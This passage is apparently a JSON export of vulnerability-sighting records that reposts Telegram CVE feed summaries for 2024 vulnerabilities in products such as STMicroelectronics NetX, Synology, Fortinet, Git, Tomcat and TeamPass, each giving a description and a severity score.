vulnerability exists in the NetX Component HTTP server functionality of STMicroelectronics X-CUBE-AZRTOS-WL 2.0.0. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.This vulnerability affects X-CUBE-AZRTOS-F7 NetX Duo Web Component HTTP server v 1.1.0. This HTTP server implementation is contained in this file - x-cube-azrtos-f7\\Middlewares\\ST\\netxduo\\addons\\web\\nx_web_http_server.c \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T19:10:12.000000Z"}, {"uuid": "ada2fe7c-f70a-4b80-aa06-65314db5b373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50597", "type": "seen", "source": "https://t.me/cvedetector/21888", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50597 - STMicroelectronics X-CUBE-AZRTOS-WL HTTP Server Integer Underflow Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50597 \nPublished : April 2, 2025, 2:15 p.m. | 2\u00a0hours, 13\u00a0minutes ago \nDescription : An integer underflow vulnerability exists in the HTTP server PUT request functionality of STMicroelectronics X-CUBE-AZRTOS-WL 2.0.0. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.This vulnerability affects the NetX Duo Component HTTP Server implementation which can be found in x-cube-azrtos-f7\\Middlewares\\ST\\netxduo\\addons\\http\\nxd_http_server.c \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T19:10:07.000000Z"}, {"uuid": "1847066d-d019-4281-a353-a475814709cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50596", "type": "seen", "source": "https://t.me/cvedetector/21887", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50596 - STMicroelectronics X-CUBE-AZRTOS-WL Denial of Service Integer Underflow\", \n  \"Content\": \"CVE ID : CVE-2024-50596 \nPublished : April 2, 2025, 2:15 p.m. | 2\u00a0hours, 13\u00a0minutes ago \nDescription : An integer underflow vulnerability exists in the HTTP server PUT request functionality of STMicroelectronics X-CUBE-AZRTOS-WL 2.0.0. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.This vulnerability affects the NetX Duo Web Component HTTP Server implementation which can be found in x-cube-azrtos-f7\\Middlewares\\ST\\netxduo\\addons\\web\\nx_web_http_server.c \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T19:10:06.000000Z"}, {"uuid": "78a30f9c-4f2c-4499-ba1b-fe185e7e3e94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50629", "type": "seen", "source": "https://t.me/cvedetector/20620", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50629 - Synology BeeStation Manager/DiskStation Manager/Unified Controller File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-50629 \nPublished : March 19, 2025, 6:15 a.m. | 39\u00a0minutes ago \nDescription : Improper encoding or escaping of output vulnerability in the webapi component in Synology BeeStation Manager (BSM) before 1.1-65374, Synology DiskStation Manager (DSM) before 6.2.4-25556-8, 7.1.1-42962-7, 7.2-64570-4, 7.2.1-69057-6 and 7.2.2-72806-1 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to read limited files via unspecified vectors. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:35.000000Z"}, {"uuid": "4ffba929-da36-40b9-801b-f12fe8b818bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50631", "type": "seen", "source": "https://t.me/cvedetector/20622", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50631 - Synology Drive Server SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50631 \nPublished : March 19, 2025, 6:15 a.m. | 39\u00a0minutes ago \nDescription : Improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability in the system syncing daemon in Synology Drive Server before 3.0.4-12699, 3.2.1-23280, 3.5.0-26085 and 3.5.1-26102 allows remote attackers to inject SQL commands, limited to write operations, via unspecified vectors. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:40.000000Z"}, {"uuid": "d5986508-bb70-4b70-a040-ac3b2f399e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50630", "type": "seen", "source": "https://t.me/cvedetector/20621", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50630 - Synology Drive Server Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50630 \nPublished : March 19, 2025, 6:15 a.m. | 39\u00a0minutes ago \nDescription : Missing authentication for critical function vulnerability in the webapi component in Synology Drive Server before 3.0.4-12699, 3.2.1-23280, 3.5.0-26085 and 3.5.1-26102 allows remote attackers to obtain administrator credentials via unspecified vectors. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:36.000000Z"}, {"uuid": "be6b4902-d8a4-437b-955c-c056bf0682c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50053", "type": "seen", "source": "https://t.me/cvedetector/20791", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50053 - Zohocorp ManageEngine ServiceDesk Plus Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-50053 \nPublished : March 21, 2025, 6:15 a.m. | 21\u00a0minutes ago \nDescription : Zohocorp ManageEngine ServiceDesk Plus versions\u00a0below\u00a014920\u00a0, ServiceDesk Plus MSP and SupportCentre Plus versions below\u00a014910 are vulnerable to Stored XSS in the task feature. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-21T07:37:08.000000Z"}, {"uuid": "b27a51a1-5747-46db-ae0d-342a11af4584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50600", "type": "seen", "source": "https://t.me/cvedetector/19747", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50600 - Samsung Exynos Wi-Fi Driver Out-of-Bounds Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50600 \nPublished : March 6, 2025, 7:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : An issue was discovered in Samsung Mobile Processor and Wearable Processor Exynos 980, 850, 1080, 1280, 1330, 1380, 1480, W920, W930, and W1000. Lack of a boundary check in STOP_KEEP_ALIVE_OFFLOAD leads to out-of-bounds access. An attacker can send a malformed message to the target through the Wi-Fi driver. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T22:12:36.000000Z"}, {"uuid": "b3d214a0-96b1-42da-b983-917a90604cac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://t.me/cvedetector/15345", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50349 - Git Terminal Prompt ANSI Escape Sequence Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50349 \nPublished : Jan. 14, 2025, 7:15 p.m. | 26\u00a0minutes ago \nDescription : Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When Git asks for credentials via a terminal prompt (i.e. without using any credential helper), it prints out the host name for which the user is expected to provide a username and/or a password. At this stage, any URL-encoded parts have been decoded already, and are printed verbatim. This allows attackers to craft URLs that contain ANSI escape sequences that the terminal interpret to confuse users e.g. into providing passwords for trusted Git hosting sites when in fact they are then sent to untrusted sites that are under the attacker's control. This issue has been patch via commits `7725b81` and `c903985` which are included in release versions v2.48.1, v2.47.1, v2.46.3, v2.45.3, v2.44.3, v2.43.6, v2.42.4, v2.41.3, and v2.40.4. Users are advised to upgrade. Users unable to upgrade should avoid cloning from untrusted URLs, especially recursive clones. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T20:42:20.000000Z"}, {"uuid": "a01b98cb-4d9a-4a4f-a901-951b11ed74cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "https://t.me/cvedetector/15257", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50564 - Fortinet FortiClient Hard-Coded Cryptographic Key Vulnerability (Decryption)\", \n  \"Content\": \"CVE ID : CVE-2024-50564 \nPublished : Jan. 14, 2025, 2:15 p.m. | 21\u00a0minutes ago \nDescription : A use of hard-coded cryptographic key in Fortinet FortiClientWindows version 7.4.0, 7.2.x all versions, 7.0.x all versions, and 6.4.x all versions may allow a low-privileged user to decrypt interprocess communication via monitoring named piped. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T15:39:40.000000Z"}, {"uuid": "5d1d946e-3859-42d2-b972-ef94fa865e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "https://t.me/cvedetector/15258", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50566 - Fortinet FortiManager OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50566 \nPublished : Jan. 14, 2025, 2:15 p.m. | 21\u00a0minutes ago \nDescription : A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiManager versions 7.6.0 through 7.6.1, versions 7.4.5 through 7.4.0, and versions 7.2.1 through 7.2.8, FortiManager Cloud versions 7.6.0 through 7.6.1, versions 7.4.0 through 7.4.4, and versions 7.2.2 through 7.2.7 may allow an authenticated remote attacker to execute unauthorized code via FGFM crafted requests. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T15:39:41.000000Z"}, {"uuid": "21bf0118-2970-4b40-9935-a518dd385199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "Telegram/41AOwW-HVfveJGnWTCUGJmCb5QTVwo4WGVTDiWBY6ulqpQ", "content": "", "creation_timestamp": "2024-08-01T20:58:08.000000Z"}, {"uuid": "c797154d-d7ad-4ae6-91a4-4c349cdb64dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "Telegram/nBNadi4eOXOERderysdJSzyShMDRQ9hJWhDaNqKfJovZfQ", "content": "", "creation_timestamp": "2024-05-28T11:53:21.000000Z"}, {"uuid": "3cd4f62b-9448-420f-8f34-09303d2c0f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "seen", "source": "https://t.me/cvedetector/15706", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50967 - Becon DATAGerry Incorrect Access Control Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50967 \nPublished : Jan. 17, 2025, 3:15 p.m. | 32\u00a0minutes ago \nDescription : The /rest/rights/ REST API endpoint in Becon DATAGerry through 2.2.0 contains an Incorrect Access Control vulnerability. An attacker can remotely access this endpoint without authentication, leading to unauthorized disclosure of sensitive information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T16:47:31.000000Z"}, {"uuid": "e5a34588-e687-48ac-8ae5-97e6ec389e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50633", "type": "seen", "source": "https://t.me/cvedetector/15601", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50633 - Indico Broken Object Level Authorization (BOLA)\", \n  \"Content\": \"CVE ID : CVE-2024-50633 \nPublished : Jan. 16, 2025, 6:15 p.m. | 43\u00a0minutes ago \nDescription : A Broken Object Level Authorization (BOLA) vulnerability in Indico v3.2.9 allows attackers to access sensitive information via sending a crafted POST request to the component /api/principals. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T20:24:56.000000Z"}, {"uuid": "df1504ca-ff8b-48ba-aabc-af17f7cbc8bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50563", "type": "seen", "source": "https://t.me/cvedetector/15574", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50563 - Fortinet FortiManager FortiAnalyzer Weak Authentication with Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50563 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : A weak authentication in Fortinet FortiManager Cloud, FortiAnalyzer versions 7.6.0 through 7.6.1, 7.4.1 through 7.4.3, FortiAnalyzer Cloud versions 7.4.1 through 7.4.3, FortiManager versions 7.6.0 through 7.6.1, 7.4.1 through 7.4.3, FortiManager Cloud versions 7.4.1 through 7.4.3 allows attacker to execute unauthorized code or commands via a brute-force attack. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:11.000000Z"}, {"uuid": "6e497659-fa20-4e74-89a7-1a08e40d59b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50664", "type": "seen", "source": "https://t.me/cvedetector/16241", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50664 - \"Gpac MP4Box Heap Buffer Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-50664 \nPublished : Jan. 23, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : gpac 2.4 contains a heap-buffer-overflow at isomedia/sample_descs.c:1799 in gf_isom_new_mpha_description in gpac/MP4Box. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T00:10:21.000000Z"}, {"uuid": "9eb6add9-6938-4fd4-a0b7-bce7fb83a911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50665", "type": "seen", "source": "https://t.me/cvedetector/16242", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50665 - GPAC MP4Box segmentation fault Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50665 \nPublished : Jan. 23, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : gpac 2.4 contains a SEGV at src/isomedia/drm_sample.c:1562:96 in isom_cenc_get_sai_by_saiz_saio in MP4Box. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T00:10:22.000000Z"}, {"uuid": "265ed7a8-1800-4457-9476-fc72954d96d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50715", "type": "seen", "source": "https://t.me/cvedetector/13806", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50715 - Smarts Smart Agent Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50715 \nPublished : Dec. 27, 2024, 9:15 p.m. | 18\u00a0minutes ago \nDescription : An issue in smarts-srl.com Smart Agent v.1.1.0 allows a remote attacker to obtain sensitive information via command injection through a vulnerable unsanitized parameter defined in the /youtubeInfo.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T22:43:03.000000Z"}, {"uuid": "7d6e6dc0-0f63-4182-bf11-32db3ee4525b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50658", "type": "seen", "source": "https://t.me/cvedetector/14598", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50658 - AdPortal SSTI Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50658 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : Server-Side Template Injection (SSTI) was found in AdPortal 3.0.39 allows a remote attacker to execute arbitrary code via the shippingAsBilling and firstname parameters in updateuserinfo.html file \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:36.000000Z"}, {"uuid": "e4b7bd0b-132c-42f5-89ac-f18da20b64ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50660", "type": "seen", "source": "https://t.me/cvedetector/14596", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50660 - AdPortal File Upload Bypass Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50660 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : File Upload Bypass was found in AdPortal 3.0.39 allows a remote attacker to execute arbitrary code via the file upload functionality \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:32.000000Z"}, {"uuid": "98d68971-0b28-4600-a53c-e532f53b4b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50659", "type": "seen", "source": "https://t.me/cvedetector/14595", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50659 - iPublish Media Solutions AdPortal Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50659 \nPublished : Jan. 7, 2025, 6:15 p.m. | 24\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability iPublish Media Solutions AdPortal 3.0.39 allows a remote attacker to escalate privileges via the shippingAsBilling parameter in updateuserinfo.html. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T19:44:31.000000Z"}, {"uuid": "1ef81a5b-d541-4b08-acce-963719d39b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/cvedetector/14613", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50603 - Aviatrix Controller Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50603 \nPublished : Jan. 8, 2025, 1:15 a.m. | 38\u00a0minutes ago \nDescription : An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T03:16:02.000000Z"}, {"uuid": "567123f7-1272-4ffa-9799-3d58e26dc5cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/cvedetector/13444", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-56337 - Apache Tomcat CaseInsensitive TOCTOU Race Condition Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-56337 \nPublished : Dec. 20, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Apache Tomcat.  \n  \nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.1, from 10.1.0-M1 through 10.1.33, from 9.0.0.M1 through 9.0.97.  \n  \nThe mitigation for CVE-2024-50379 was incomplete.  \n  \nUsers running Tomcat on a case insensitive file system with the default servlet write enabled (readonly initialisation   \nparameter set to the non-default value of false) may need additional configuration to fully mitigate CVE-2024-50379 depending on which version of Java they are using with Tomcat:  \n- running on Java 8 or Java 11: the system property\u00a0sun.io.useCanonCaches must be explicitly set to false (it defaults to true)  \n- running on Java 17: the\u00a0system property sun.io.useCanonCaches, if set, must be set to false\u00a0(it defaults to false)  \n- running on Java 21 onwards: no further configuration is required\u00a0(the system property and the problematic cache have been removed)  \n  \nTomcat 11.0.3, 10.1.35 and 9.0.99 onwards will include checks that\u00a0sun.io.useCanonCaches is set appropriately before allowing the default servlet to be write enabled on a case insensitive file system. Tomcat will also set\u00a0sun.io.useCanonCaches to false by default where it can. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T18:25:23.000000Z"}, {"uuid": "3bc4e186-96b5-415d-b9c3-b37c0ee6423d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50703", "type": "seen", "source": "https://t.me/cvedetector/13936", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50703 - TeamPass User Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50703 \nPublished : Dec. 30, 2024, 3:15 p.m. | 32\u00a0minutes ago \nDescription : TeamPass before 3.1.3.1 does not properly prevent a user from acting with the privileges of a different user_id. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T16:48:06.000000Z"}, {"uuid": "14359089-6dc4-49db-b97b-adb79d542de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50701", "type": "seen", "source": "https://t.me/cvedetector/13934", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50701 - TeamPass Unrestricted Folder Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50701 \nPublished : Dec. 30, 2024, 3:15 p.m. | 32\u00a0minutes ago \nDescription : TeamPass before 3.1.3.1, when retrieving information about access rights for a folder, does not properly check whether a folder is in a user's allowed folders list that has been defined by an admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T16:48:04.000000Z"}, {"uuid": "42ec1572-7f49-4aff-b226-76fc10ac3d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50702", "type": "seen", "source": "https://t.me/cvedetector/13935", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50702 - TeamPass Unauthenticated Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50702 \nPublished : Dec. 30, 2024, 3:15 p.m. | 32\u00a0minutes ago \nDescription : TeamPass before 3.1.3.1 does not properly check whether a mail_me (aka action_mail) operation is on behalf of an administrator or manager. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T16:48:05.000000Z"}, {"uuid": "b274f81d-ed02-4e8e-ae3a-3b5ab5078ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50716", "type": "seen", "source": "https://t.me/cvedetector/13803", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50716 - Smart Agent SQL Injection\", \n  \"Content\": \"CVE ID : 